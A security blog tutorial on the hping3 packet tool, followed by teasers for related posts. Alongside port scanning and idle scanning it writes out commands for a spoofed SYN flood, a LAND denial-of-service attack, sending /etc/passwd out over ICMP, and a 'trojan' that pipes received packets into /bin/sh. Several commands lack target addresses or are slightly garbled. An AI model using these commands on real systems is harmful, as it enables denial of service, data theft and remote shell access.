Skip to main content


Hping3 And Hping2
hping is a free packet generator and analyzer for the TCP/IP protocol. Hping is one of the de-facto tools for security auditing and testing of firewalls and networks, and was used to exploit the Idle Scan scanning technique now implemented in the Nmap port scanner. The new version of hping, hping3, is scriptable using the Tcl language and implements an engine for string based, human readable description of TCP/IP packets, so that the programmer can write scripts related to low level TCP/IP packet manipulation and analysis in a very short time. Like most tools used in computer security, hping is useful to security experts, but there are a lot of applications related to network testing and system administration.
since version 3, that's now in alpha stage, hping is trying to not be just a little tool but to become a framework for scripting related to TCP/IP testing and security. hping3 continues to be command-line compatible with hping2, but integrates two main new things: the first is an engine called APD that is able to translate simple packet descriptions in the form of strings into a packet ready to be sent, and the reverse (generate the representation from a real packet). The second is the Tcl scripting language. So you can imagine hping3 as a scriptable TCP/IP stack
Example Script:

set srcaddr
foreach destaddr {} {
foreach ttl {1 2 3 4} {
hping send "ip(saddr=$srcaddr,daddr=$destaddr,ttl=$ttl)+icmp(type=8,code=0,id=5,seq=10)+data(str[string repeat X 28])"

hping2 was used (in the past) to... 
• Traceroute/ping/probe hosts behind a firewall that blocks attempts using the standard utilities.
• Perform the idle scan (now implemented in nmap with an easy user interface).
• Test firewalling rules.
• Test IDSes.
• Exploit known vulnerabilties of TCP/IP stacks.
• Networking research.
• Learn TCP/IP (hping was used in networking courses AFAIK).

 hping3 should be used to...
• Write real applications related to TCP/IP testing and security.
• Automated firewalling tests. • Proof of concept exploits.
• Networking and security research when there is the need to emulate complex TCP/IP behaviour.
• Prototype IDS systems.
• Simple to use networking utilities with Tk interface.
• All the usage of hping2

1)Hping as Port Scanner
hping3 -S -p 80
hping3 -S -p ++20 (it will increase the value of port to plus one on every iteration)

All known NMAP scanning techniques can be easily reproduced (accept a CONNECT scan), but a finer (don’t get me wrong, not a bad word about NMAP!!!) control on the packets can be obtained

2)Idle Scanning 
Idle scanning is a technique to portscan a remote system fully anonymous.
hping3  -a -S -p ++20
hping3 -r -S -p 2000

hping can be used for traceroute and firewall study also.
hping3  -z -t 6 -S  -p 143

4)SYN Attack
hping3 -a -S -p 80 -i u1000

5)LAND Attack
Type of Denial of service attack.Not very effective these days but can waste resources .
hping3 -S  -a -p 21

6)Packets with signatures
cat /root/signature.sig
"Vishal Mishra"

hping3 -2 -p 7 -d 50 -E /root/signature.sig
Now have a look at the packet dump capture via Wireshark

7)Transferring a file 

hping3 --listen signature --safe  --icmp
On Source machine type following now

hping3 --icmp –d 100 --sign signature --file /etc/passwd
on the other site you must ‘sign’ the packet, with the signature used at the receiving site.

8)Hping As a Trojan
hping3 --listen signature --safe --udp -p 53 |/bin/sh

hping3 -p 53 -d 100 --udp --sign siganature --file


Popular posts from this blog

Install Virtual Box On Kali Rolling

If you facing problem with virtualbox installation on kali rolling edition because of its outdated kernel 4.3.0-kali1-amd64 then this post is for you only.

Step1: Install latest kernel. First search the cache for list of available ones apt-cache search linux-headers
Depending upon the list choose one from the set and install install it.
you can download kernel file using wget from ubuntu source also.
for more refer to this post: link

Edit the boot entry /boot/vmlinuz-(New Linux kernel Version) & /boot/initrd.img-(New Linux kernel version) in grub menu.

Before making boot entry changes be sure these files exist in the /boot directory after running install command.
In my case following new file got created in /boot folder:


Thats all you need to do to install any virtual software on kali r…

Hacking Windows 10 UWP App: DLL Injection & common Vulnerabilities

I recently started working on  widows 10 Apps( Apps not Applications) security. Before diving deep in hacking terms lets try to understand what's new in Windows 10 UWP( Universal Platform) as compared to old Apps. Lets begin with how apps actually work on windows 10(desktop/tablet). Now windows 10 comes with a container only for running apps inside the isolated environment. By default, /APPCONTAINER(Linker Flag) is off. This option modifies an executable to indicate whether the app must be run in the appcontainer process-isolation environment. Specify /APPCONTAINER for an app that must run in the appcontainer environment—for example, a Windows Store app. (The option is set automatically in Visual Studio when you create a Windows Store app from a template.) For a desktop app, specify /APPCONTAINER:NO or just omit the option. The /APPCONTAINER option was introduced in Windows 8.
Now there is no registry entry concept for these app in the System HIVE rather they install they own hiv…

Cyberoam Login Brute Force Script

#  ('-.               .-') _                         ) (`-.               _  .-')
#  ( OO ).-.          (  OO) )                         ( OO ).            ( \( -O )
#  / . --. / ,--.     /     '._     ,------.,--. ,--. (_/.  \_)-.  .----.  ,------.
#  | \-.  \  |  |.-') |'--...__) ('-| _.---'|  | |  |  \  `.'  /  /  ..  \ |   /`. '
#.-'-'  |  | |  | OO )'--.  .--' (OO|(_\    |  | | .-') \     /\ .  /  \  .|  /  | |
# \| |_.'  | |  |`-' |   |  |    /  |  '--. |  |_|( OO ) \   \ | |  |  '  ||  |_.' |
#  |  .-.  |(|  '---.'   |  |    \_)|  .--' |  | | `-' /.'    \_)'  \  /  '|  .  '.'
#  |  | |  | |      |    |  |      \|  |_) ('  '-'(_.-'/  .'.  \  \  `'  / |  |\  \
#  `--' `--' `------'    `--'       `--'     `-----'  '--'   '--'  `---''  `--' '--'
# Cyberaom brute force Script
# @aut…